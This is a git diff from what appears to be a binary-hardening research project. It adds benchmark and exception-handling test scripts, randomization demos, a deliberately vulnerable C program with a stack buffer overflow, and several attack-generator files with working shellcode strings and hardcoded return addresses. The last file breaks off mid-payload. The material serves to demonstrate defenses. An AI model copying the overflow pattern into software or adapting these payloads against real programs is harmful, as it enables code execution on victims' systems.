+	local p1_flags="-c p1transform=on"
+
+	local src_files1=" derived3_throw.cpp derived4_throw.cpp "
+	local src_files2=" simple_throw.cpp throw.cpp derived_throw.cpp derived2_throw.cpp  derived3_throw.cpp derived4_throw.cpp "
+
+	for src in $src_files1
+	do
+		for option in -O0 -O3 
+		do
+
+			#rida
+			doit_meta $src "$option" "$rida_flags "
+			doit_meta $src "$option" "$rida_flags $p1_flags"
+			doit_meta $src "$option" "$rida_flags $ss_flags"
+		done
+	done
+
+	for src in $src_files2
+	do
+		for option in -O3
+		do
+			#rida
+			doit_meta $src "$option" "$rida_flags $p1_flags $ss_flags "
+		done
+	done
+}
+
+main
diff --git a/peasoup_examples/cpp-examples/test_spec.sh b/peasoup_examples/cpp-examples/test_spec.sh
new file mode 100755
index 0000000000000000000000000000000000000000..35886b3ccada2195fc6eecb014966da35a7c12ee
--- /dev/null
+++ b/peasoup_examples/cpp-examples/test_spec.sh
@@ -0,0 +1,257 @@
+#!/bin/bash
+
+# the bad boys
+#benchmarks="
+#	400.perlbench
+#	403.gcc
+#	445.gobmk
+#	450.soplex
+#	453.povray
+#	458.sjeng
+#	464.h264ref
+#	465.tonto
+#	471.omnetpp
+#	481.wrf
+#	482.sphinx3
+#	483.xalancbmk
+#	"
+
+# all
+all_benchmarks="400.perlbench 401.bzip2 403.gcc 410.bwaves 416.gamess 429.mcf 433.milc 434.zeusmp 435.gromacs 436.cactusADM 437.leslie3d 444.namd 445.gobmk 450.soplex 453.povray 454.calculix 456.hmmer 458.sjeng 459.GemsFDTD 462.libquantum 464.h264ref 465.tonto 470.lbm 471.omnetpp 473.astar 481.wrf 482.sphinx3 483.xalancbmk"
+
+
+number=1
+
+setup()
+{
+
+	if [ ! -d spec2006 ]; then
+		svn co ^/spec2006/trunk spec2006
+	fi
+
+	if [[ ! -f /usr/bin/gfortran ]]; then
+		sudo apt-get install gfortran -y
+	fi
+
+	cd spec2006/
+	if [ ! -L bin ]; then
+		ln -s bin.power/ bin
+	fi
+	source shrc
+	bin/relocate
+}
+
+
+run_test()
+{
+	config_name=$1
+	config=$2
+	benchmarks="$3"
+	cd $SPEC
+	if [ ! -d result.$config_name ]; then
+		dropdb $PGDATABASE
+		createdb $PGDATABASE
+		$PEASOUP_HOME/tools/db/pdb_setup.sh
+		rm -Rf result/*
+		runspec  --action scrub --config $config $benchmarks
+
+		echo
+		echo "**************************************************************************"
+		echo "Starting test of $config_name"
+		echo "**************************************************************************"
+		echo
+		runspec  --action validate --config $config -n $number $benchmarks 
+		cp benchspec/CPU2006/*/exe/* result
+		mv result result.$config_name
+		for bench in $benchmarks
+		do
+			mv benchspec/CPU2006/$bench/run/build*/peasoup*/logs result.$config_name/$bench.log
+		done
+	fi
+
+}
+
+get_size_result()
+{
+	bench=$1
+	if [ -e $bench ]; then
+		size=$(stat --printf="%s" $bench)
+		#echo -n "$size"
+		#LC_ALL= numfmt --grouping $size
+		#LC_ALL= printf "%'d" $size
+		#LC_NUMERIC=en_US printf "%'d" $size
+		#LC_NUMERIC=en_US printf "%'f" $size
+		#LC_NUMERIC=en_US printf "%'.f" $size
+		#LC_NUMERIC=en_US printf "%'10.10f" $size
+		#LC_NUMERIC=en_US /usr/bin/printf "%'d" $size
+		echo $size
+	else
+		echo -n "0"
+	fi
+}
+
+get_result()
+{
+	bench=$1
+	config=$2
+
+	results=$(cat $SPEC/result.$config/CPU2006.002.log|grep Success|grep $bench|grep ratio=|sed 's/.*ratio=//'|sed 's/,.*//')
+
+	sum=0
+	count=0
+	for res in $results
+	do
+		sum=$(echo $sum + $res | bc)
+		count=$(echo $count + 1  | bc)
+	done
+	#echo sum=$sum
+	#echo count=$count
+	res=$(echo  "scale=2; $sum / $count" | bc 2> /dev/null )
+
+	count=$(echo $res|wc -w)
+
+	if [ $count = 1 ];  then
+		echo -n $res
+	else
+		echo -n "0"
+	fi
+
+}
+
+
+get_raw_results()
+{
+	get_raw_perf_results "$@"
+	get_raw_size_results "$@"
+	get_raw_fde_results "$@"
+}
+
+get_raw_perf_results()
+{
+	configs=$*
+	first_config=$1
+	echo "--------------------------------------------------------------"
+	echo "Performance results are:"
+	echo "--------------------------------------------------------------"
+	echo benchmark $configs
+	for bench in $benchmarks
+	do
+		echo -n "$bench 	"
+		for config in $*
+		do
+			get_result $bench $config
+			echo -n "	"
+		done
+		echo
+	done
+}
+
+get_raw_size_results()
+{
+	echo "--------------------------------------------------------------"
+	echo "Size results are:"
+	echo "--------------------------------------------------------------"
+	configs=$*
+	echo benchmark $configs
+	for bench in $SPEC/result.$first_config/*_base.amd64-m64-gcc42-nn
+	do
+		echo -n "$(basename $bench _base.amd64-m64-gcc42-nn)	"
+		for config in $*
+		do
+			if [[ $config == "baseline" ]]; then
+				file="$SPEC/result.$config/$(basename $bench)"
+				cp $file /tmp/foo.exe
+				strip /tmp/foo.exe
+				file="/tmp/foo.exe"
+			else
+				file="$SPEC/result.$config/$(basename $bench)"
+			fi
+			res=$(get_size_result $file)
+
+			#printf "%15s" $res
+			echo -n "	$res"
+		done
+		echo
+	done
+
+}
+
+get_raw_fde_results()
+{
+	echo "--------------------------------------------------------------"
+	echo "FDE results are:"
+	echo "--------------------------------------------------------------"
+	configs=$*
+	echo benchmark $configs
+	for bench in $SPEC/result.$first_config/*_base.amd64-m64-gcc42-nn
+	do
+		#printf "%-20s"  $(basename $bench _base.amd64-m64-gcc42-nn)
+		echo -n $(basename $bench _base.amd64-m64-gcc42-nn)
+		for config in $*
+		do
+			file="$SPEC/result.$config/$(basename $bench)"
+			res=$(readelf -w $file |grep FDE|wc -l )
+			#if [[ $config == "baseline" ]]; then
+			#else
+			#fi
+
+			#printf "%15s" $res
+			echo -n "	$res"
+		done
+		echo
+	done
+
+}
+
+main()
+{
+	zipr_flags="	--backend zipr --step-option zipr:--add-sections --step-option zipr:true"
+	trace_flags="   --step-option zipr:--traceplacement:on --step-option zipr:true"
+	relax_flags="   --step-option zipr:--relax:on --step-option zipr:true --step-option zipr:--unpin:on --step-option zipr:false"
+	nounpin_flags=" --step-option zipr:--unpin:on --step-option zipr:false"
+	split_flags="   --step-option fill_in_indtargs:--split-eh-frame "
+	icall_flags="   --step-option fix_calls:--no-fix-icalls "
+	p1flags=" 	--step p1transform=on " 
+	start_dir=$(pwd)
+	setup
+	run_test baseline $SPEC/config/ubuntu14.04lts-64bit.cfg "$all_benchmarks"
+
+	# should be 100% success, tested by jdh on 8/28/17 as 100% success.
+	#PSOPTS="$zipr_flags "  run_test zipr     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+
+	#PSOPTS="$zipr_flags $trace_flags "  run_test zipr-trace     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $split_flags "  run_test split     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $split_flags $icall_flags "  run_test split-no-fix-icalls     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $split_flags $icall_flags $trace_flags "  run_test split-no-fix-icalls-trace     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+
+	# should be 100% success, tested by jdh on 8/28/17 as 100% success.
+	PSOPTS="$zipr_flags $split_flags $trace_flags "  run_test split-trace     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+
+	# p1 -- expect 2 failures (povray and omnetpp)
+	#PSOPTS="$zipr_flags $trace_flags $p1flags "  run_test zipr-trace-p1     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $split_flags $trace_flags $p1flags "  run_test split-trace-p1     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+
+	# p1 -- expect no failures (--split-eh-frame fixes povray and omnetpp)
+	PSOPTS="$zipr_flags $split_flags $trace_flags $icall_flags $p1flags "  run_test split-no-fix-icalls-trace-p1     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+
+	#PSOPTS="$zipr_flags $nounpin_flags "  run_test zipr-nounpin     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $relax_flags "  run_test zipr-relax     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $relax_flags $nounpin_flags "  run_test zipr-relax-nounpin     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $split_flags $nounpin_flags "  run_test split-nounpin     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $split_flags $relax_flags "  run_test split-relax     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $split_flags $icall_flags $relax_flags "  run_test split-no-fix-icalls-relax     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+	#PSOPTS="$zipr_flags $split_flags $icall_flags $relax_flags $nounpin_flags "  run_test split-no-fix-icalls-relax-nounpin     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$all_benchmarks"
+
+
+	#p1_broken_benchmarks="403.gcc 416.gamess 483.xalancbmk"
+	#p1_broken_benchmarks="483.xalancbmk"
+	#PN_NUMFUNCSTOTRY=9805 PSOPTS="$zipr_flags $trace_flags $p1flags "  run_test zipr-trace-p1-rerun     $SPEC/config/ubuntu14.04lts-64bit-withps.cfg "$p1_broken_benchmarks"
+
+	get_raw_results baseline  split-trace split-no-fix-icalls-trace-p1
+	# get_raw_results baseline  zipr zipr-trace split-no-fix-icalls split-no-fix-icalls-trace  zipr-trace-p1 split-trace-p1 split-no-fix-icalls-trace-p1 zipr-trace-p1-rerun
+}
+
+main "$@"
+
+
+
diff --git a/peasoup_examples/cpp-examples/testit.sh b/peasoup_examples/cpp-examples/testit.sh
new file mode 100755
index 0000000000000000000000000000000000000000..32c8e7b7155fa668868308d1512c526bfce08fc3
--- /dev/null
+++ b/peasoup_examples/cpp-examples/testit.sh
@@ -0,0 +1,87 @@
+#!/bin/bash
+
+src_files=" simple_throw.cpp throw.cpp derived_throw.cpp derived2_throw.cpp  derived3_throw.cpp derived4_throw.cpp "
+throws="THROW_INT THROW_CHAR THROW_FLOAT"
+
+#---------------
+
+compare()
+{
+
+	rm -f good.txt xform.txt 
+
+	env $1 ./a.out > good.txt 2>&1 
+	exit1=$?
+	env $1 ./xxx > xform.txt 2>&1 
+	exit2=$?
+
+	cmp good.txt xform.txt > /dev/null 2>&1
+
+	if [[ $? != 0 ]] || [[ $exit1 != $exit2 ]]; then
+		echo "Failed test: $1"; 
+		diff good.txt xform.txt
+		exit 2
+	fi
+}
+
+doit()
+{
+	src=$1
+	options="$2"
+	psopts="$3"
+
+	echo  "------------------------------------------------------"
+	echo "Trying $src with options: $options"
+	echo "And psflags=$psopts "
+	g++ -w $options $src 
+	rm -Rf peasoup_executable_direc*
+	(set -x ; EHIR_VERBOSE=1 $PSZ ./a.out ./xxx --step-option fill_in_indtargs:--split-eh-frame --step-option zipr:'--add-sections true' 	$psopts)
+
+	compare
+
+	for throw in $throws
+	do
+		compare $throw=1	
+	done
+	echo "Passed test!"
+	echo  "------------------------------------------------------"
+}
+
+
+doit_meta()
+{
+	src=$1
+	option="$2"
+	psopts="$3"
+
+	doit $src "$option  " "$psopts"
+	doit $src "$option -fPIC " "$psopts"
+	doit $src "$option -fPIC -fomit-frame-pointer" "$psopts"
+	doit $src "$option -fPIC  -pie" "$psopts"
+	doit $src "$option -fPIC -fomit-frame-pointer -pie" "$psopts"
+}
+
+main()
+{
+	local rida_flags="-c rida=on -s meds_static=off "
+	local ss_flags="-c stack_stamp=on"
+	local p1_flags="-c p1transform=on"
+
+	for src in $src_files
+	do
+		for option in -O0 -O1 -O2 -O3 -Os -Og
+		do
+			# stars/ida
+			doit_meta $src "$option" ""
+			doit_meta $src "$option" "$p1_flags"
+			doit_meta $src "$option" "$ss_flags"
+
+			#rida
+			doit_meta $src "$option" "$rida_flags "
+			doit_meta $src "$option" "$rida_flags $p1_flags"
+			doit_meta $src "$option" "$rida_flags $ss_flags"
+		done
+	done
+}
+
+main
diff --git a/peasoup_examples/cpp-examples/throw.cpp b/peasoup_examples/cpp-examples/throw.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..783c6bc88dc2ebc38b72c898019fef8ab715b372
--- /dev/null
+++ b/peasoup_examples/cpp-examples/throw.cpp
@@ -0,0 +1,31 @@
+
+#include <iostream>
+#include <string>
+using namespace std;
+
+void bar()
+{
+	throw string("Print this string");
+}
+
+void foo()
+{
+	string s=" shoult not print ";
+	bar();
+	cout<<s<<endl;
+
+}
+main()
+{
+
+	try	
+	{
+		foo();
+	}
+	catch(string s)
+	{
+		cout<<"Threw string s:" << s << endl;
+	}
+
+}
+
diff --git a/peasoup_examples/demos/Makefile b/peasoup_examples/demos/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..8c106de30c14cba244710d2cd9a9046bd8261470
--- /dev/null
+++ b/peasoup_examples/demos/Makefile
@@ -0,0 +1,3 @@
+clean:
+	cd demo.jan_21_2011; make clean
+	cd demo.aug_9_2011; make clean
diff --git a/peasoup_examples/demos/demo.aug_9_2011/Makefile b/peasoup_examples/demos/demo.aug_9_2011/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..e2c988d741ef20525a066d4b5accaf3aa28b1392
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/Makefile
@@ -0,0 +1,36 @@
+TOOLBASE=${PEASOUP_HOME}/tools
+
+all: dumbledore.original dumbledore.protected heap_overflow.original heap_overflow.protected malloc.protected
+
+malloc.original: malloc.c
+	gcc -w malloc.c -O -o malloc.original
+
+malloc.protected: malloc.original
+	TVHEADLESS=1 sh ${SMPSA_HOME}/SMP-analyze.sh malloc.original
+	# stratafy
+	sh ${STRATA}/tools/pc_confinement/stratafy_with_pc_confine.sh malloc.original malloc.protected
+
+heap_overflow.original: heap_overflow.o
+	gcc -g heap_overflow.o -o heap_overflow.original
+
+heap_overflow.protected: heap_overflow.original
+    # assume IDA Pro 6.0
+	TVHEADLESS=1 ${TOOLBASE}/ps_analyze.sh heap_overflow.original heap_overflow.protected
+
+dumbledore.original: dumbledore.o
+	gcc -g dumbledore.o -o dumbledore.original
+
+dumbledore.protected: dumbledore.original
+    # assume IDA Pro 6.0
+	TVHEADLESS=1 ${TOOLBASE}/ps_analyze.sh dumbledore.original dumbledore.protected
+
+.c.o:
+	gcc -fno-stack-protector -c -w -g  $<
+
+clean:
+	rm -f *.o heap_overflow.original heap_overflow.protected dumbledore.original dumbledore_cmd.original dumbledore.protected dumbledore_cmd.protected tmp
+	rm -Rf peasoup_executable_directory.*
+	# clean up heaprand demo intermediate files
+	rm -f  malloc.original* malloc.protected *.asm *.idb stratafier.o.exe output
+	# clean up IRDB and reset tables
+	if [ ! "X" = "X"${PGUSER} ]; then sh ${TOOLBASE}/db/drop_my_tables.sh; sh ${TOOLBASE}/db/pdb_setup.sh; fi
diff --git a/peasoup_examples/demos/demo.aug_9_2011/demo_heaprand.sh b/peasoup_examples/demos/demo.aug_9_2011/demo_heaprand.sh
new file mode 100755
index 0000000000000000000000000000000000000000..20e72622738cc641bb6a67f3543787710a83a911
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/demo_heaprand.sh
@@ -0,0 +1,40 @@
+#!/bin/sh
+
+# Demonstration of HeapRand
+
+# A pause function
+Pause()
+{
+    key=""
+    echo -n "\nPress any key to continue...\n"
+    echo
+    stty -icanon
+    key=`dd count=1 2>/dev/null`
+    stty icanon
+}
+
+clear
+echo "HEAP RANDOMIZATION demonstration"
+echo "Sample program: Towers of Hanoi"
+Pause
+clear
+
+# First, display the program
+cat malloc.c |less
+
+Pause
+clear
+echo "Running malloc.original"
+./malloc.original 3
+
+Pause
+clear
+echo "Running malloc.protected with randomizing log messages on."
+Pause
+# run program
+STRATA_PC_CONFINE=1 STRATA_ANNOT_FILE=malloc.original.annot STRATA_LOG=heaprand STRATA_HEAPRAND=1 ./malloc.protected 3  > output 2>&1
+
+# Show output in pretty form?
+cat output |less
+
+
diff --git a/peasoup_examples/demos/demo.aug_9_2011/demo_ilr.sh b/peasoup_examples/demos/demo.aug_9_2011/demo_ilr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..61d6327b41020a41b88c69136bfc09c89a490d93
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/demo_ilr.sh
@@ -0,0 +1,29 @@
+#!/bin/sh
+
+# Author: Michele Co, mc2zk@virginia.edu
+#
+# Demonstrate operation of Instruction Layout Randomization
+# by turning on some Strata log messages
+
+# A pause function
+Pause()
+{
+    key=""
+    echo -n "\nPress any key to continue...\n"
+    echo
+    stty -icanon
+    key=`dd count=1 2>/dev/null`
+    stty icanon
+}
+
+echo "PEASOUP-protected dumbledore on good input"
+STRATA_LOG=spri ./dumbledore.protected < dumbledore.good_inputs/good.txt
+
+echo
+echo
+Pause
+clear
+
+echo "PEASOUP-protected dumbledore on malicious input"
+STRATA_LOG=spri ./dumbledore.protected < dumbledore.exploits/badB.dynamic.txt
+
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.c b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.c
new file mode 100644
index 0000000000000000000000000000000000000000..02e2f05c1105deb85faf5281272fda79cb817f74
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.c
@@ -0,0 +1,47 @@
+
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = getchar();
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+   mprotect((void*)((unsigned int)Name & 0xfffff000), 1,
+            PROT_READ | PROT_WRITE | PROT_EXEC);
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   exit(0);
+}
+
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/Makefile b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..da0eadb561db1922f8a39e71550cbe4fc17b1529
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/Makefile
@@ -0,0 +1,36 @@
+# This file contains rules to build attack generators for the dumbledore example
+#	which uses file input.
+# 	attack-gradeXXX.no_strata is the attack generator for a non-stratafied 
+#		application
+#	The attack generator for stratafied application may need 
+#		to be slightly different
+PS_TOOLBASE=${PEASOUP_HOME}/tools
+
+all: attack-gradeA.no_strata attack-gradeB.no_strata attack-strata_tracing attack-gradeA.dynamic.no_strata attack-gradeB.dynamic.no_strata
+
+attack-strata_tracing: attack-strata_tracing.o
+	${PS_TOOLBASE}/ps_link.sh attack-strata_tracing.o -o attack-strata_tracing
+
+attack-strata_parm1: attack-strata_parm1.o
+	${PS_TOOLBASE}/ps_link.sh attack-strata_parm1.o -o attack-strata_parm1
+
+attack-gradeA.no_strata: attack-gradeA.no_strata.o
+	${PS_TOOLBASE}/ps_link.sh attack-gradeA.no_strata.o -o gradeA.no_strata
+
+attack-gradeA.dynamic.no_strata: attack-gradeA.dynamic.no_strata.o
+	${PS_TOOLBASE}/ps_link.sh attack-gradeA.dynamic.no_strata.o -o gradeA.dynamic.no_strata
+
+attack-gradeB.dynamic.no_strata: attack-gradeB.dynamic.no_strata.o
+	${PS_TOOLBASE}/ps_link.sh attack-gradeB.dynamic.no_strata.o -o gradeB.dynamic.no_strata
+
+attack-gradeB.no_strata: attack-gradeB.no_strata.o
+	${PS_TOOLBASE}/ps_link.sh attack-gradeB.no_strata.o -o gradeB.no_strata
+
+attack-graCE_infinite: attack-graCE_infinite.o
+	${PS_TOOLBASE}/ps_link.sh attack-graCE_infinite.o -o graCE_infinite
+
+.c.o:
+	${PS_TOOLBASE}/ps_comp.sh $<
+
+clean:
+	rm gradeA.no_strata gradeB.no_strata attack-strata_tracing attack-graCE_infinite attack-strata_parm1 *.o
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeA.dynamic.no_strata.c b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeA.dynamic.no_strata.c
new file mode 100755
index 0000000000000000000000000000000000000000..fabe3109226314db97a27044c1eff2ec84f3b5a2
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeA.dynamic.no_strata.c
@@ -0,0 +1,58 @@
+#include <stdio.h>
+#include <string.h>
+                                      /* stack location address */
+char attackString[] =
+    "Ja"		   /* 0xbfffeee6 */ /* Name: 0x804a060 */
+    "ck D"                 /* 0xbfffeee8 */ /* Name: 0x804a062 */
+    "avid"                 /* 0xbfffeeec */ /* Name: 0x804a066 */
+    "son\x00"              /* 0xbfffeef0 */ /* Name: 0x804a06a */
+    "\xc6\x05\x24\xa0"     /* 0xbfffeef4 */ /* Name: 0x804a06e */ /* movb $0x41,0x080c6008 addr of grade */
+    "\x04\x08\x41\x90"     /* 0xbfffeef8 */ /* nop is \x90 */ 
+    "\x68\x49\x85\x04"     /* 0xbfffeefc */ /* op 68 is push ret addr 0x080482f7 */
+    "\x08\x90\xc3\x3e"     /* 0xbfffef00 */	/* nop is \x90; c3 is ret inst */ 
+    "\x20\x20\x20\x20"     /* 0xbfffef04 */
+    "\x20\x20\x20\x20"     /* 0xbfffef08 */
+    "\x20\x20\x20\x20"     /* 0xbfffef0c */
+    "\x20\x20\x20\x20"     /* 0xbfffef10 */
+    "\x20\x20\x20\x20"     /* 0xbfffef14 */
+    "\x20\x20\x20\x20"     /* 0xbfffef18 */
+    "\x20\x20\x20\x20"     /* 0xbfffef1c */
+    "\x20\x20\x20\x20"     /* 0xbfffef20 */
+    "\x20\x20\x20\x20"     /* 0xbfffef24 */
+    "\x20\x20\x20\x20"     /* 0xbfffef28 */
+    "\x20\x20\x20\x20"     /* 0xbfffef2c */
+    "\x20\x20\x20\x20"     /* 0xbfffef30 */
+    "\x20\x20\x20\x20"     /* 0xbfffef34 */
+    "\x20\x20\x20\x20"     /* 0xbfffef38 */
+    "\x20\x20\x20\x20"     /* 0xbfffef3c */
+    "\x20\x20\x20\x20"     /* 0xbfffef40 */
+    "\x20\x20\x20\x20"     /* 0xbfffef44 */
+    "\x62\x00\x00\x00"     /* 0xbfffef48 */	/* i here */
+    "\x20\x20\x20\x20"     /* 0xbfffef4c */ 	/* c here */
+    "\x20\x20\x20\x20"     /* 0xbfffef50 */
+    "\x20\x20\x20\x20"     /* 0xbfffef54 */
+    "\x78\xef\xff\xbf"     /* 0xbfffef58 */	/* ebp  aka frame ptr */
+    "\x6e\xa0\x04\x08"     /* 0xbfffef5c */	/* return address should b
+							the addr of Name 
+							where injection code is
+							0x804a06e */
+    "\x60\xa0\x04\x08"     /* 0xbfffef60 */ 	/* address of Name */ 
+    "\x0a\x0a\x0a\x0a" ;    /* 0xbfffef64 */
+/* The key to the attack is to change the return address (located on the
+   stack at address 0x22cc7c as indicated in the above picture to
+   point to the code location in main where the grade is set to a "B".
+   However, it is also important for the buffer overrun to preserve the
+   frame pointer and the address of grade on the stack (grade is passed and s
+   points to it
+*/
+
+
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeA.no_strata.c b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeA.no_strata.c
new file mode 100755
index 0000000000000000000000000000000000000000..097546fa85000982683b0a674bef5fad5eb3cbfa
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeA.no_strata.c
@@ -0,0 +1,58 @@
+#include <stdio.h>
+#include <string.h>
+                                      /* stack location address */
+char attackString[] =
+    "Ja"		   /* 0xbfffefa6 */ /* Name: 0x80c80c0 */
+    "ck D"                 /* 0xbfffefa8 */ /* Name: 0x80c80c2 */
+    "avid"                 /* 0xbfffefac */ /* Name: 0x80c80c6 */
+    "son\x00"              /* 0xbfffefb0 */ /* Name: 0x80c80ca */
+    "\xc6\x05\x08\x60"     /* 0xbfffefb4 */ /* Name: 0x80c80ce */ /* movb $0x41,0x080c6008 addr of grade */
+    "\x0c\x08\x41\x90"     /* 0xbfffefb8 */ /* nop is \x90 */ 
+    "\x68\xf7\x82\x04"     /* 0xbfffefbc */ /* op 68 is push ret addr 0x080482f7 */
+    "\x08\x90\xc3\x3e"     /* 0xbfffefc0 */	/* nop is \x90; c3 is ret inst */ 
+    "\x20\x20\x20\x20"     /* 0xbfffefc4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefc8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefcc */
+    "\x20\x20\x20\x20"     /* 0xbfffefd0 */
+    "\x20\x20\x20\x20"     /* 0xbfffefd4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefd8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefdc */
+    "\x20\x20\x20\x20"     /* 0xbfffefe0 */
+    "\x20\x20\x20\x20"     /* 0xbfffefe4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefe8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefec */
+    "\x20\x20\x20\x20"     /* 0xbfffeff0 */
+    "\x20\x20\x20\x20"     /* 0xbfffeff4 */
+    "\x20\x20\x20\x20"     /* 0xbfffeff8 */
+    "\x20\x20\x20\x20"     /* 0xbfffeffc */
+    "\x20\x20\x20\x20"     /* 0xbffff000 */
+    "\x20\x20\x20\x20"     /* 0xbffff004 */
+    "\x62\x00\x00\x00"     /* 0xbffff008 */	/* i here */
+    "\x20\x20\x20\x20"     /* 0xbffff00c */ 	/* c here */
+    "\x20\x20\x20\x20"     /* 0xbffff010 */
+    "\x20\x20\x20\x20"     /* 0xbffff014 */
+    "\x38\xf0\xff\xbf"     /* 0xbffff018 */	/* ebp  aka frame ptr */
+    "\xce\x80\x0c\x08"     /* 0xbffff01c */	/* return address should b
+							the addr of Name 
+							where injection code is
+							0x80c80ce */
+    "\xc0\x80\x0c\x08"     /* 0xbffff020 */ 	/* address of Name */ 
+    "\x0a\x0a\x0a\x0a" ;    /* 0xbffff024 */
+/* The key to the attack is to change the return address (located on the
+   stack at address 0x22cc7c as indicated in the above picture to
+   point to the code location in main where the grade is set to a "B".
+   However, it is also important for the buffer overrun to preserve the
+   frame pointer and the address of grade on the stack (grade is passed and s
+   points to it
+*/
+
+
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
diff --git a/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeB.dynamic.no_strata.c b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeB.dynamic.no_strata.c
new file mode 100644
index 0000000000000000000000000000000000000000..0e52ced729c4145ced4346d5c43e0673de0b6ac2
--- /dev/null
+++ b/peasoup_examples/demos/demo.aug_9_2011/dumbledore.exploits/attack-gradeB.dynamic.no_strata.c
@@ -0,0 +1,51 @@
+#include <stdio.h>
+#include <string.h>
+                                      /* stack location address */
+char attackString[] = "Ja"                   /* 0x0bfffeee6 */
+                      "ck D"                 /* 0x0bfffeee8 */
+                      "avid"                 /* 0x0bfffeeec */
+                      "son\x00"              /* 0x0bfffeef0 */
+                      "\xc6\x05\x20\x20"     /* 0x0bfffeef4 */ 
+					  "\x40\x20\x41\x90"     /* 0x0bfffeef8 */
+                      "\x68\x33\x11\x40"     /* 0x0bfffeefc */
+                      "\x00\x90\xc3\x3e"     /* 0x0bfffef00 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef04 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef08 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef0c */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef10 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef14 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef18 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef1c */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef20 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef24 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef28 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef2c */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef30 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef34 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef38 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffef3c */
+                      "\x20\x20\x20\x20"     /* 0x0bffff040 */
+                      "\x20\x20\x20\x20"     /* 0x0bffff044 */
+                      "\x62\x00\x00\x00"     /* 0x0bffff048 */  /* i here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff04c */  /* c here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff050 */
